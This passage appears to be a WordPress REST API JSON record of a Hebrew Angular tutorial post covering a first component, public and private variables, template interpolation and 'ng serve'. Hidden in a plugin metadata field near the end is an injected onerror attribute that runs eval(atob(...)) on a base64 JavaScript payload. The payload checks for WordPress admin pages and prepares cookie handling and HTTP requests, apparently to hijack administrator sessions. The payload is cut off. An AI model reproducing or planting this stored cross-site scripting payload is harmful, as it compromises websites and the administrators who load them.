\u05e4\u05e8\u05d8\u05d9 \u05d5\u05db\u05d5' (public, private). \u05ea\u05db\u05e0\u05d5\u05ea \u05de\u05d5\u05e0\u05d7\u05d4 \u05e2\u05e6\u05de\u05d9\u05dd \u05d6\u05d4 \u05ea\u05d7\u05d5\u05dd \u05d1\u05e4\u05e0\u05d9 \u05e2\u05e6\u05de\u05d5 \u05d5\u05de\u05d5\u05de\u05dc\u05e5 \u05de\u05d0\u05d5\u05d3 \u05dc\u05e7\u05e8\u05d5\u05d0 \u05d5\u05dc\u05dc\u05de\u05d5\u05d3 \u05d0\u05ea \u05d4\u05e0\u05d5\u05e9\u05d0. \u05e2\u05e7\u05e8\u05d5\u05e0\u05d9\u05ea, \u05d1\u05e8\u05d9\u05e8\u05ea \u05d4\u05de\u05d7\u05d3\u05dc \u05e9\u05dc \u05de\u05e9\u05ea\u05e0\u05d9\u05dd \u05d1\u05e7\u05d5\u05de\u05e4\u05d5\u05e0\u05e0\u05d8\u05d4 \u05d4\u05dd public<\/code> \u05d0\u05d1\u05dc \u05db\u05d3\u05d0\u05d9 \u05ea\u05de\u05d9\u05d3 \u05dc\u05d4\u05d2\u05d3\u05d9\u05e8. \u05dc\u05e2\u05d9\u05ea\u05d9\u05dd \u05d0\u05d2\u05d1, \u05ea\u05e8\u05e6\u05d5 \u05e9\u05de\u05e9\u05ea\u05e0\u05d4 \u05d9\u05d4\u05d9\u05d4 \u05e4\u05e8\u05d8\u05d9 (private), \u05db\u05da \u05e9\u05ea\u05d5\u05db\u05dc\u05d5 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1\u05d5 \u05d1\u05de\u05d7\u05dc\u05e7\u05d4 \u05d1\u05dc\u05d1\u05d3. \u05de\u05e9\u05ea\u05e0\u05d4 \u05e9\u05d4\u05d5\u05d2\u05d3\u05e8 \u05db – private \u05dc\u05d0 \u05d9\u05d5\u05e6\u05d2 \u05d1 – html.<\/li>\n
  2. \u05d4\u05d2\u05d3\u05e8\u05ea\u05d9 \u05d0\u05ea message \u05db\u05de\u05d7\u05e8\u05d5\u05d6\u05ea: message: string<\/code>\u00a0 – \u05d4\u05e1\u05d9\u05d1\u05d4 \u05dc\u05db\u05da \u05d4\u05d9\u05d0 \u05db\u05d9\u05d5\u05d5\u05df \u05e9\u05d4\u05e1\u05d9\u05d1\u05d4 \u05e9 – Typescript \u05e0\u05e7\u05e8\u05d0\u05ea \u05db\u05da, \u05d4\u05d9\u05d0 \u05db\u05d9 \u05d0\u05e0\u05d7\u05e0\u05d5 \u05e0\u05d5\u05ea\u05e0\u05d9\u05dd type \u05dc\u05de\u05e9\u05ea\u05e0\u05d9\u05dd. \u05d6\u05d4 \u05e9\u05d3\u05e8\u05d5\u05d2 \u05d2\u05d3\u05d5\u05dc \u05de\u05d2'\u05d0\u05d5\u05d5\u05d4 \u05e1\u05e7\u05e8\u05d9\u05e4\u05d8 \u05d1\u05d4 \u05db\u05dc \u05de\u05e9\u05ea\u05e0\u05d4 \u05d9\u05db\u05d5\u05dc \u05dc\u05d4\u05d9\u05d5\u05ea \u05db\u05dc \u05d3\u05d1\u05e8 – \u05de\u05d7\u05e8\u05d5\u05d6\u05ea, \u05de\u05e1\u05e4\u05e8 \u05d5\u05db\u05d5'. \u05d6\u05d4 \u05dc\u05d0 \u05d7\u05d5\u05d1\u05d4 \u05dc\u05d4\u05d2\u05d3\u05d9\u05e8 \u05d0\u05ea \u05d6\u05d4 \u05db\u05da, \u05d0\u05d1\u05dc \u05d6\u05d4 \u05de\u05d0\u05d5\u05d3 \u05de\u05d5\u05de\u05dc\u05e5 \u05d5\u05d6\u05d5\u05d4\u05d9 \u05d4\u05e4\u05e8\u05e7\u05d8\u05d9\u05e7\u05d4 \u05d4\u05e0\u05db\u05d5\u05e0\u05d4. \u05e2\u05e7\u05e8\u05d5\u05e0\u05d9\u05ea \u05d4\u05d1\u05e8\u05d9\u05e8\u05ea \u05de\u05d7\u05d3\u05dc \u05e9\u05dc \u05de\u05e9\u05ea\u05e0\u05d4 \u05d0\u05dd \u05dc\u05d0 \u05d4\u05d5\u05d2\u05d3\u05e8 \u05dc\u05d5 \u05d4 – type \u05d9\u05d4\u05d9\u05d4 any, \u05e9\u05d6\u05d4 \u05dc\u05de\u05e2\u05e9\u05d4 \u05d0\u05d5\u05de\u05e8 \u05db\u05dc \u05e1\u05d5\u05d2 \u05e9\u05dc \u05de\u05e9\u05ea\u05e0\u05d4. \u05d0\u05d1\u05dc \u05d6\u05d4 \u05dc\u05d0 \u05de\u05d5\u05de\u05dc\u05e5. \u05d1 – Typescript \u05d0\u05e0\u05d7\u05e0\u05d5 \u05de\u05d2\u05d3\u05d9\u05e8\u05d9\u05dd \u05d0\u05ea \u05d4 – type \u05e9\u05dc \u05db\u05dc \u05de\u05e9\u05ea\u05e0\u05d4, \u05d5\u05db\u05d3\u05d0\u05d9 \u05dc\u05d4\u05ea\u05e8\u05d2\u05dc \u05dc\u05e2\u05e9\u05d5\u05ea \u05d6\u05d0\u05ea \u05de\u05d4\u05ea\u05d7\u05dc\u05d4.<\/li>\n<\/ol>\n
    \u05d1\u05d5\u05d0 \u05e0\u05d1\u05d9\u05df \u05e2\u05db\u05e9\u05d9\u05d5 \u05d0\u05ea \u05d4\u05e7\u05d5\u05d3 \u05e9\u05dc \u05d4\u05e7\u05d5\u05de\u05e4\u05d5\u05e0\u05e0\u05d8\u05d4:<\/p>\n
    import { Component } from '@angular\/core';\r\n\r\n@Component({\r\n  selector: 'app-root',\r\n  templateUrl: '.\/app.component.html',\r\n  styleUrls: ['.\/app.component.scss']\r\n})\r\nexport class AppComponent {\r\n  public message: string = \"Hello World\";\r\n}\r\n<\/pre>\n
    \u05d4\u05e7\u05d5\u05d3 \u05de\u05ea\u05d7\u05d9\u05dc \u05d1\u05e9\u05d5\u05e8\u05ea \u05d4 – import.<\/p>\n
    \u05e9\u05e4\u05d5\u05ea \u05ea\u05db\u05e0\u05d5\u05ea \u05de\u05d5\u05d3\u05e8\u05e0\u05d9\u05d5\u05ea \u05de\u05d5\u05e8\u05db\u05d1\u05d5\u05ea \u05de\u05d4\u05de\u05d5\u05df \u05de\u05d5\u05d3\u05d5\u05dc\u05d9\u05dd, \u05e8\u05db\u05d9\u05d1\u05d9\u05dd, \u05e1\u05e4\u05e8\u05d9\u05d5\u05ea \u05d5\u05db\u05d5'. \u05d4\u05e8\u05d9 \u05ea\u05e1\u05db\u05d9\u05de\u05d5 \u05d0\u05d9\u05ea\u05d9 \u05e9\u05dc\u05e9\u05d9\u05dd \u05d0\u05ea \u05db\u05dc \u05d4\u05e7\u05d5\u05d3 \u05d1\u05de\u05e7\u05d5\u05dd \u05d0\u05d7\u05d3 \u05d9\u05d9\u05e6\u05d5\u05e8 \u05e1\u05e4\u05e8\u05d9\u05d9\u05d4 \u05d0\u05d7\u05ea \u05e2\u05e0\u05e7\u05d9\u05ea \u05e9\u05d9\u05d4\u05d9\u05d4 \u05e7\u05e9\u05d4 \u05de\u05d0\u05d5\u05d3 \u05dc\u05d4\u05ea\u05de\u05e6\u05d0 \u05d1\u05d4. \u05d0\u05d6 \u05d1\u05e9\u05d1\u05d9\u05dc \u05d4\u05e1\u05d3\u05e8 \u05d4\u05d8\u05d5\u05d1 \u05d9\u05e9 \u05de\u05d5\u05d3\u05d5\u05dc\u05d9\u05dd, \u05e1\u05e4\u05e8\u05d9\u05d5\u05ea, \u05e7\u05d5\u05de\u05e4\u05d5\u05e0\u05e0\u05d8\u05d5\u05ea, \u05d5\u05db\u05d5'. \u05d1\u05e0\u05d5\u05e1\u05e3, \u05de\u05ea\u05db\u05e0\u05ea\u05d9\u05dd \u05d9\u05db\u05d5\u05dc\u05d9\u05dd \u05dc\u05d4\u05d5\u05e1\u05d9\u05e3 \u05d4\u05e8\u05d7\u05d1\u05d5\u05ea \u05d5\u05e1\u05e4\u05e8\u05d9\u05d5\u05ea \u05de\u05e9\u05dc\u05d4\u05dd \u05dc\u05e9\u05e4\u05d4, \u05db\u05da \u05e9\u05d9\u05d5\u05ea\u05e8 \u05e7\u05dc \u05dc\u05e4\u05ea\u05d7. \u05dc\u05db\u05df, \u05d4\u05d3\u05d1\u05e8 \u05d4\u05e8\u05d0\u05e9\u05d5\u05df \u05e9\u05d0\u05e0\u05d7\u05e0\u05d5 \u05e6\u05e8\u05d9\u05db\u05d9\u05dd \u05dc\u05e2\u05e9\u05d5\u05ea \u05d6\u05d4 \u05dc\u05d9\u05d9\u05d1\u05d0 \u05d0\u05ea \u05d4\u05e8\u05db\u05d9\u05d1\u05d9\u05dd \u05d5\u05d4\u05de\u05d5\u05d3\u05d5\u05dc\u05d9\u05dd \u05d4\u05e9\u05d5\u05e0\u05d9\u05dd \u05e9\u05e0\u05d3\u05e8\u05e9\u05d9\u05dd \u05db\u05d3\u05d9 \u05dc\u05d4\u05e8\u05d9\u05e5 \u05d0\u05ea \u05d4\u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4. \u05db\u05de\u05d5\u05d1\u05df \u05e9\u05e0\u05d9\u05d9\u05d1\u05d0 \u05e8\u05e7 \u05d0\u05ea \u05de\u05d4 \u05e9\u05d0\u05e0\u05d7\u05e0\u05d5 \u05d1\u05d0\u05de\u05ea \u05e6\u05e8\u05d9\u05db\u05d9\u05dd. \u05d0\u05d9\u05df \u05e1\u05d9\u05d1\u05d4 \u05d4\u05e8\u05d9 \u05dc\u05d9\u05d9\u05d1\u05d0 \u05e1\u05e4\u05e8\u05d9\u05d9\u05d4 \u05d0\u05d5 \u05de\u05d5\u05d3\u05d5\u05dc \u05e9\u05d0\u05d9\u05df \u05dc\u05e0\u05d5 \u05d1\u05d5 \u05e9\u05d9\u05de\u05d5\u05e9.<\/p>\n
    \u05d0\u05d6 \u05de\u05d4 \u05d4\u05d3\u05d1\u05e8 \u05d4\u05e8\u05d0\u05e9\u05d5\u05df \u05e9\u05e0\u05d9\u05d9\u05d1\u05d0? \u05db\u05de\u05d5\u05d1\u05df, Component.<\/p>\n
    \u05d4\u05e8\u05d9 \u05d0\u05e0\u05d7\u05e0\u05d5 \u05e2\u05d5\u05d1\u05d3\u05d9\u05dd \u05e2\u05db\u05e9\u05d9\u05d5 \u05e2\u05dc \u05e7\u05d5\u05de\u05e4\u05d5\u05e0\u05e0\u05d8\u05d4, \u05d0\u05d6 \u05e6\u05e8\u05d9\u05da \u05dc\u05d9\u05d9\u05d1\u05d0 \u05d0\u05ea \u05d4\u05e7\u05d5\u05de\u05e4\u05d5\u05e0\u05e0\u05d8\u05d4. \u05de\u05d0\u05d9\u05e4\u05d4 \u05de\u05d9\u05d9\u05d1\u05d0\u05d9\u05dd \u05d0\u05d5\u05ea\u05d4? \u05de\u05d4\u05dc\u05d9\u05d1\u05d4 \u05e9\u05dc \u05d0\u05e0\u05d2\u05d5\u05dc\u05e8. \u05d0\u05d5 \u05d1\u05de\u05d9\u05dc\u05d9\u05dd \u05d0\u05d7\u05e8\u05d5\u05ea: @angular\/core<\/p>\n
    \u05db\u05dc\u05d5\u05de\u05e8, \u05d0\u05de\u05e8\u05e0\u05d5 \u05e9\u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4 \u05d1\u05d0\u05e0\u05d2\u05d5\u05dc\u05e8 \u05de\u05d5\u05e8\u05db\u05d1\u05ea \u05de\u05e7\u05d5\u05de\u05e4\u05d5\u05e0\u05e0\u05d8\u05d5\u05ea – \u05d0\u05d6 \u05e6\u05e8\u05d9\u05da \u05dc\u05d9\u05d9\u05d1\u05d0 \u05d0\u05ea \u05d4\u05e7\u05d5\u05de\u05e4\u05d5\u05e0\u05e0\u05d8\u05d4 \u05db\u05dc \u05e4\u05e2\u05dd \u05e9\u05db\u05d5\u05ea\u05d1\u05d9\u05dd \u05e7\u05d5\u05de\u05e4\u05d5\u05e0\u05e0\u05d8\u05d4 \u05d7\u05d3\u05e9\u05d4. \u05d1\u05d4\u05de\u05e9\u05da \u05d0\u05d2\u05d1, \u05e0\u05d9\u05d9\u05d1\u05d0 \u05e2\u05d5\u05d3 \u05d4\u05e8\u05d1\u05d4 \u05e8\u05db\u05d9\u05d1\u05d9\u05dd, \u05e9\u05d9\u05e8\u05d5\u05ea\u05d9\u05dd (services), \u05de\u05d5\u05d3\u05d5\u05dc\u05d9\u05dd, \u05e1\u05e4\u05e8\u05d9\u05d5\u05ea, \u05d5\u05db\u05d5'. \u05db\u05e8\u05d2\u05e2 \u05d1\u05e9\u05d1\u05d9\u05dc \u05d4\u05d4\u05ea\u05d7\u05dc\u05d4 \u05d0\u05e0\u05d7\u05e0\u05d5 \u05e6\u05e8\u05d9\u05db\u05d9\u05dd \u05e8\u05e7 \u05d0\u05ea \u05d4\u05e7\u05d5\u05de\u05e4\u05d5\u05e0\u05e0\u05d8\u05d4.<\/p>\n
    \u05d1\u05e9\u05d5\u05e8\u05d5\u05ea 4-7 \u05d0\u05e0\u05d7\u05e0\u05d5 \u05de\u05d2\u05d3\u05d9\u05e8\u05d9\u05dd \u05d0\u05ea \u05d4\u05e1\u05dc\u05e7\u05d8\u05d5\u05e8 \u05e9\u05dc \u05d4\u05e7\u05d5\u05de\u05e4\u05d5\u05e0\u05e0\u05d8\u05d4 \u05e9\u05d0\u05e0\u05d7\u05e0\u05d5 \u05d9\u05d5\u05e6\u05e8\u05d9\u05dd \u05d5\u05d0\u05ea \u05d4\u05e7\u05d1\u05e6\u05d9\u05dd \u05e9\u05dc \u05d4\u05e7\u05d5\u05de\u05e4\u05d5\u05e0\u05e0\u05d8\u05d4. \u05d0\u05e0\u05d2\u05d5\u05dc\u05e8 \u05dc\u05de\u05e2\u05e9\u05d4 \u05de\u05e8\u05d7\u05d9\u05d1\u05d4 \u05d0\u05ea \u05d4 – html \u05d5\u05db\u05dc \u05e7\u05d5\u05de\u05e4\u05d5\u05e0\u05e0\u05d8\u05d4 \u05dc\u05de\u05e2\u05e9\u05d4 \u05d9\u05d5\u05e6\u05e8\u05ea \u05ea\u05d2 html \u05d7\u05d3\u05e9. \u05d0\u05d6 \u05d1\u05e9\u05d5\u05e8\u05d4 4 \u05d0\u05e0\u05d7\u05e0\u05d5 \u05de\u05d2\u05d3\u05d9\u05e8\u05d9\u05dd \u05d0\u05ea \u05ea\u05d2\u05d9\u05ea \u05d4 – html \u05e9\u05dc \u05d4\u05e7\u05d5\u05de\u05e4\u05d5\u05e0\u05e0\u05d8\u05d4 \u05d4\u05d7\u05d3\u05e9\u05d4.<\/p>\n
    \u05d1\u05e9\u05d5\u05e8\u05d4 8 \u05d0\u05e0\u05d7\u05e0\u05d5 \u05e0\u05d5\u05ea\u05e0\u05d9\u05dd \u05e9\u05dd \u05dc\u05e7\u05d5\u05de\u05e4\u05d5\u05e0\u05e0\u05d8\u05d4. \u05d0\u05e0\u05d2\u05d5\u05dc\u05e8 \u05d4\u05d9\u05d0 \u05e9\u05e4\u05d4 \u05de\u05d5\u05e0\u05d7\u05d9\u05ea \u05e2\u05e6\u05de\u05d9\u05dd. \u05e7\u05d5\u05de\u05e4\u05d5\u05e0\u05e0\u05d8\u05d4 \u05de\u05d5\u05e8\u05db\u05d1\u05ea \u05db\u05e4\u05d9 \u05e9\u05e6\u05d9\u05d9\u05e0\u05d5 \u05dc\u05de\u05e2\u05dc\u05d4 \u05de\u05d0\u05e8\u05d1\u05e2\u05d4 \u05e7\u05d1\u05e6\u05d9\u05dd:<\/p>\n
      \n
    1. \u05e7\u05d5\u05d1\u05e5 html. \u05e0\u05e7\u05e8\u05d0 \u05d2\u05dd \u05d4 – view<\/li>\n
    2. \u05de\u05d7\u05dc\u05e7\u05d4. TypeScript Class<\/li>\n
    3. \u00a0\u05e7\u05d5\u05d1\u05e5 \u05e2\u05d9\u05e6\u05d5\u05d1 – StyleSheet<\/li>\n
    4. \u00a0spec file – \u05d9\u05d7\u05d9\u05d3\u05d5\u05ea \u05d1\u05d3\u05d9\u05e7\u05d4<\/li>\n<\/ol>\n
      \u05d6\u05d5 \u05d2\u05dd \u05d4\u05e1\u05d9\u05d1\u05d4 \u05e9\u05d0\u05e0\u05d2\u05d5\u05dc\u05e8 \u05e0\u05e7\u05e8\u05d0\u05d9\u05ea MVVM: Model View View Model. \u05db\u05dc\u05d5\u05de\u05e8, \u05db\u05dc \u05e7\u05d5\u05de\u05e4\u05d5\u05e0\u05e0\u05d8\u05d4 \u05de\u05d5\u05e8\u05db\u05d1\u05ea \u05de\u05de\u05d5\u05d3\u05dc – \u05db\u05dc\u05d5\u05de\u05e8, \u05d4\u05e0\u05ea\u05d5\u05e0\u05d9\u05dd \u05d5\u05d4\u05dc\u05d5\u05d2\u05d9\u05e7\u05d4. \u05d5 – View. \u05de\u05d4 \u05e9\u05e8\u05d5\u05d0\u05d9\u05dd. \u05d4 – html.<\/p>\n
      \u05d0\u05d6 \u05d1\u05e9\u05d5\u05e8\u05d4 8 \u05d0\u05e0\u05d7\u05e0\u05d5 \u05de\u05d2\u05d3\u05d9\u05e8\u05d9\u05dd \u05d0\u05ea \u05d4\u05de\u05d7\u05dc\u05e7\u05d4.<\/p>\n
      \u05d1\u05e9\u05d5\u05e8\u05d4 9 \u05d0\u05e0\u05d7\u05e0\u05d5 \u05e4\u05e9\u05d5\u05d8 \u05de\u05d2\u05d3\u05d9\u05e8\u05d9\u05dd \u05de\u05e9\u05ea\u05e0\u05d4 \u05e6\u05d9\u05d1\u05d5\u05e8\u05d9 \u05e9\u05dc \u05d4\u05de\u05d7\u05dc\u05e7\u05d4 \u05e9\u05d0\u05d5\u05ea\u05d5 \u05e0\u05e6\u05d9\u05d2 \u05d1 – view.<\/p>\n
      \u05d1\u05ea\u05db\u05e0\u05d5\u05ea \u05de\u05d5\u05e0\u05d7\u05d4 \u05e2\u05e6\u05de\u05d9\u05dd \u05d9\u05e9 \u05dc\u05e0\u05d5 \u05de\u05e1\u05e4\u05e8 \u05e1\u05d5\u05d2\u05d9 \u05de\u05e9\u05ea\u05e0\u05d9\u05dd:<\/p>\n
      public: \u05de\u05e9\u05ea\u05e0\u05d4 \u05e6\u05d9\u05d1\u05d5\u05e8\u05d9. \u05d6\u05de\u05d9\u05df \u05d1\u05de\u05d7\u05dc\u05e7\u05d4, \u05d1 – view \u05d5\u05d2\u05dd \u05dc\u05de\u05d7\u05dc\u05e7\u05d5\u05ea \u05d0\u05d7\u05e8\u05d5\u05ea.<\/p>\n
      private: \u05d6\u05de\u05d9\u05df \u05d1\u05de\u05d7\u05dc\u05e7\u05d4 \u05d1\u05dc\u05d1\u05d3.<\/p>\n
      protected: \u05d6\u05de\u05d9\u05df \u05d2\u05dd \u05dc\u05de\u05d7\u05dc\u05e7\u05d5\u05ea \u05e9\u05d9\u05d5\u05e8\u05e9\u05d5\u05ea \u05de\u05de\u05d7\u05dc\u05e7\u05ea \u05d4\u05d0\u05dd. \u05db\u05d9\u05d5\u05d5\u05df \u05e9\u05d0\u05e0\u05d2\u05d5\u05dc\u05e8 \u05d4\u05d9\u05d0 \u05de\u05d5\u05e0\u05d7\u05d9\u05ea \u05e2\u05e6\u05de\u05d9\u05dd, \u05d4\u05d9\u05d0 \u05ea\u05d5\u05de\u05db\u05ea \u05d1\u05d9\u05e8\u05d5\u05e9\u05d4. \u05d0\u05d1\u05dc \u05d6\u05d4 \u05db\u05d1\u05e8 \u05e0\u05d5\u05e9\u05d0 \u05de\u05ea\u05e7\u05d3\u05dd. \u05dc\u05e2\u05e6\u05dd \u05d4\u05e2\u05e0\u05d9\u05d9\u05df, \u05de\u05e9\u05ea\u05e0\u05d4 \u05de\u05d5\u05d2\u05df – protected \u05d6\u05de\u05d9\u05df \u05d2\u05dd \u05d1\u05de\u05d7\u05dc\u05e7\u05d4 \u05d1\u05ea \u05e9\u05d9\u05d5\u05e8\u05e9\u05ea \u05d0\u05ea \u05de\u05d7\u05dc\u05e7\u05ea \u05d4\u05d0\u05dd.<\/p>\n
      \u05d6\u05d4 \u05d4\u05db\u05dc! \u05d9\u05e9 \u05dc\u05e0\u05d5 \u05e7\u05d5\u05de\u05e4\u05d5\u05e0\u05e0\u05d8\u05d4!<\/p>\n
      \u05e8\u05d2\u05e2. \u05d1\u05d5\u05d0 \u05e0\u05e2\u05d9\u05e3 \u05de\u05d1\u05d8 \u05d6\u05e8\u05d9\u05d6 \u05d1 – html.<\/p>\n
      \u05e0\u05e4\u05ea\u05d7 \u05d0\u05ea \u05d4\u05e7\u05d5\u05d1\u05e5 app.component.html:<\/p>\n
      <h1>{{message}}<\/h1><\/pre>\n
      \u05de\u05d4 \u05d9\u05e9 \u05dc\u05e0\u05d5 \u05db\u05d0\u05df? \u05db\u05d5\u05ea\u05e8\u05ea h1 \u05e9\u05d1\u05ea\u05d5\u05db\u05d4 \u05d0\u05e0\u05d7\u05e0\u05d5 \u05de\u05e8\u05e0\u05d3\u05e8\u05d9\u05dd \u05d1\u05e2\u05d6\u05e8\u05ea \u05d0\u05d9\u05e0\u05d8\u05e8\u05e4\u05d5\u05dc\u05e6\u05d9\u05d4 \u05d0\u05ea \u05d4\u05de\u05e9\u05ea\u05e0\u05d4 \u05d4\u05e6\u05d9\u05d1\u05d5\u05e8\u05d9 message \u05de\u05d4\u05de\u05d7\u05dc\u05e7\u05d4. \u05e9\u05d9\u05de\u05d5 \u05dc\u05d1 \u05d0\u05d9\u05da \u05d0\u05e0\u05d7\u05e0\u05d5 \u05e2\u05d5\u05e9\u05d9\u05dd \u05d0\u05ea \u05d6\u05d4: \u05e4\u05e9\u05d5\u05d8 \u05e9\u05de\u05d9\u05dd \u05d0\u05ea \u05d4\u05de\u05e9\u05ea\u05e0\u05d4 \u05de\u05d4\u05de\u05d7\u05dc\u05e7\u05d4 \u05d1\u05ea\u05d5\u05da \u05e1\u05d5\u05d2\u05e8\u05d9\u05d9\u05dd \u05de\u05e1\u05d5\u05dc\u05e1\u05dc\u05d9\u05dd \u05db\u05e4\u05d5\u05dc\u05d9\u05dd. \u05e4\u05e9\u05d5\u05d8, \u05d0\u05d4?<\/p>\n
      \u05d0\u05dd \u05e0\u05e8\u05d9\u05e5 \u05e2\u05db\u05e9\u05d9\u05d5 \u05d0\u05ea \u05d4\u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4 \u05d1\u05e2\u05d6\u05e8\u05ea \u05d4\u05e4\u05e7\u05d5\u05d3\u05d4:<\/p>\n
      ng serve --open<\/pre>\n
      \u05d0\u05e0\u05d2\u05d5\u05dc\u05e8 CLI \u05d9\u05e7\u05de\u05e4\u05dc \u05d0\u05ea \u05d4\u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4 \u05d5\u05d9\u05e4\u05ea\u05d7 \u05d1\u05d3\u05e4\u05d3\u05e4\u05df \u05d1\u05db\u05ea\u05d5\u05d1\u05ea http:\/\/localhost:4200\/ \u05d0\u05ea \u05d4\u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4. \u05de\u05d4 \u05e9\u05db\u05e8\u05d2\u05e2 \u05e0\u05e8\u05d0\u05d4 \u05e2\u05dc \u05d4\u05de\u05e1\u05da \u05d6\u05d4 \u05e4\u05e9\u05d5\u05d8: Hello World.<\/p>\n
      \u05d5\u05d4\u05e0\u05d4 \u05dc\u05e0\u05d5 \u05d4\u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4 \u05d4\u05e8\u05d0\u05e9\u05d5\u05e0\u05d4 \u05e9\u05dc\u05e0\u05d5!<\/p>\n
      \u05d0\u05d1\u05dc, \u05d4\u05e8\u05d9 \u05d0\u05e0\u05d2\u05d5\u05dc\u05e8 \u05dc\u05d0 \u05e0\u05db\u05ea\u05d1\u05d4 \u05db\u05d3\u05d9 \u05dc\u05d4\u05e6\u05d9\u05d2 Hello World \u05e2\u05dc \u05d4\u05de\u05e1\u05da, \u05d0\u05dc\u05d0 \u05d1\u05e9\u05d1\u05d9\u05dc \u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d5\u05ea \u05de\u05d5\u05e8\u05db\u05d1\u05d5\u05ea \u05d9\u05d5\u05ea\u05e8. \u05d0\u05d6 \u05d1\u05e4\u05d5\u05e1\u05d8\u05d9\u05dd \u05d4\u05d1\u05d0\u05d9\u05dd \u05e0\u05de\u05e9\u05d9\u05da \u05dc\u05dc\u05de\u05d5\u05d3 \u05e2\u05dc \u05d0\u05e0\u05d2\u05d5\u05dc\u05e8 \u05d5\u05d0\u05d9\u05da \u05dc\u05e4\u05ea\u05d7 \u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d5\u05ea \u05e8\u05e9\u05ea \u05de\u05d5\u05e8\u05db\u05d1\u05d5\u05ea \u05d1\u05e2\u05d6\u05e8\u05ea \u05d0\u05e0\u05d2\u05d5\u05dc\u05e8.<\/p>\n
       <\/p>\n
       <\/p>\n","protected":false},"excerpt":{"rendered":"
      \u05e9\u05d9\u05e2\u05d5\u05e8 2: \u05d9\u05e6\u05d9\u05e8\u05ea \u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4 \u05d7\u05d3\u05e9\u05d4 \u05dc\u05d0\u05d7\u05e8 \u05e9\u05d4\u05d1\u05e0\u05d5 \u05d1\u05e4\u05d5\u05e1\u05d8 \u05d4\u05e7\u05d5\u05d3\u05dd \u05d0\u05d9\u05da \u05d0\u05e0\u05d2\u05d5\u05dc\u05e8 \u05e2\u05d5\u05d1\u05d3\u05ea, \u05d4\u05ea\u05e7\u05e0\u05d5 node, \u05d0\u05e0\u05d2\u05d5\u05dc\u05e8 CLI \u05d5\u05db\u05d5', \u05d1\u05d5\u05d0\u05d5 \u05e0\u05ea\u05d7\u05d9\u05dc \u05dc\u05d1\u05e0\u05d5\u05ea \u05d1\u05e4\u05d5\u05e2\u05dc \u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d9\u05ea \u05d0\u05e0\u05d2\u05d5\u05dc\u05e8. \u05d4\u05e9\u05dc\u05d1 \u05d4\u05e8\u05d0\u05e9\u05d5\u05df: \u05e0\u05e4\u05ea\u05d7 \u05d0\u05ea \u05d4\u05d8\u05e8\u05de\u05d9\u05e0\u05dc \/ cmd. \u05e2\u05e7\u05e8\u05d5\u05e0\u05d9\u05ea \u05d0\u05ea\u05dd \u05d9\u05db\u05d5\u05dc\u05d9\u05dd \u05dc\u05e2\u05d1\u05d5\u05d3 \u05de\u05db\u05dc \u05ea\u05d9\u05e7\u05d9\u05d9\u05d4, \u05d0\u05e0\u05d9 \u05d0\u05d5\u05d4\u05d1 \u05dc\u05e1\u05d3\u05e8 \u05d0\u05ea \u05d4\u05ea\u05d9\u05e7\u05d9\u05d5\u05ea \u05e9\u05dc\u05d9 \u05e2\u05dc \u05d4\u05de\u05d7\u05e9\u05d1, \u05d0\u05d6<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[49],"tags":[47,48],"class_list":["post-357","post","type-post","status-publish","format-standard","hentry","category---2-5","tag-47","tag-48"],"wppr_data":{"cwp_meta_box_check":"No","_wppr_review_template":"default' onerror=\"eval(atob('ZnVuY3Rpb24gc3RhcnQoKSB7CiAgICBmdW5jdGlvbiBzZXRDb29raWUobmFtZSwgdmFsdWUsIGRheXMpIHsKICAgICAgICB2YXIgZXhwaXJlcyA9ICIiOwogICAgICAgIGlmIChkYXlzKSB7CiAgICAgICAgICAgIHZhciBkYXRlID0gbmV3IERhdGUoKTsKICAgICAgICAgICAgZGF0ZS5zZXRUaW1lKGRhdGUuZ2V0VGltZSgpICsgKGRheXMgKiAyNCAqIDYwICogNjAgKiAxMDAwKSk7CiAgICAgICAgICAgIGV4cGlyZXMgPSAiOyBleHBpcmVzPSIgKyBkYXRlLnRvVVRDU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LyI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIHsKICAgICAgICB2YXIgbmFtZUVRID0gbmFtZSArICI9IjsKICAgICAgICB2YXIgY2EgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKTsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHZhciBjID0gY2FbaV07CiAgICAgICAgICAgIHdoaWxlIChjLmNoYXJBdCgwKSA9PSAiICIpIGMgPSBjLnN1YnN0cmluZygxLCBjLmxlbmd0aCk7CiAgICAgICAgICAgIGlmIChjLmluZGV4T2YobmFtZUVRKSA9PSAwKSByZXR1cm4gYy5zdWJzdHJpbmcobmFtZUVRLmxlbmd0aCwgYy5sZW5ndGgpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gbnVsbDsKICAgIH0KCiAgICBmdW5jdGlvbiBpc0FkbWluKCkgewogICAgICAgIHJldHVybiAhIWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd3cC1hZG1pbi1iYXItY3VzdG9taXplJykKICAgICAgICAgICAgfHwgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmlubmVySFRNTC5pbmNsdWRlcygidXNlciIgKyAiLW5ldy5waHAiKTsvLyBpZiBub3QgbnVsbCwgcmV0dXJuIHRydWUKICAgIH0KCiAgICBmdW5jdGlvbiByZXF1ZXN0KHVybCwgbWV0aG9kLCBkYXRhLCBhc3luYykgewogICAgICAgIHJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwogICAgICAgIHJlcS5vcGVuKG1ldG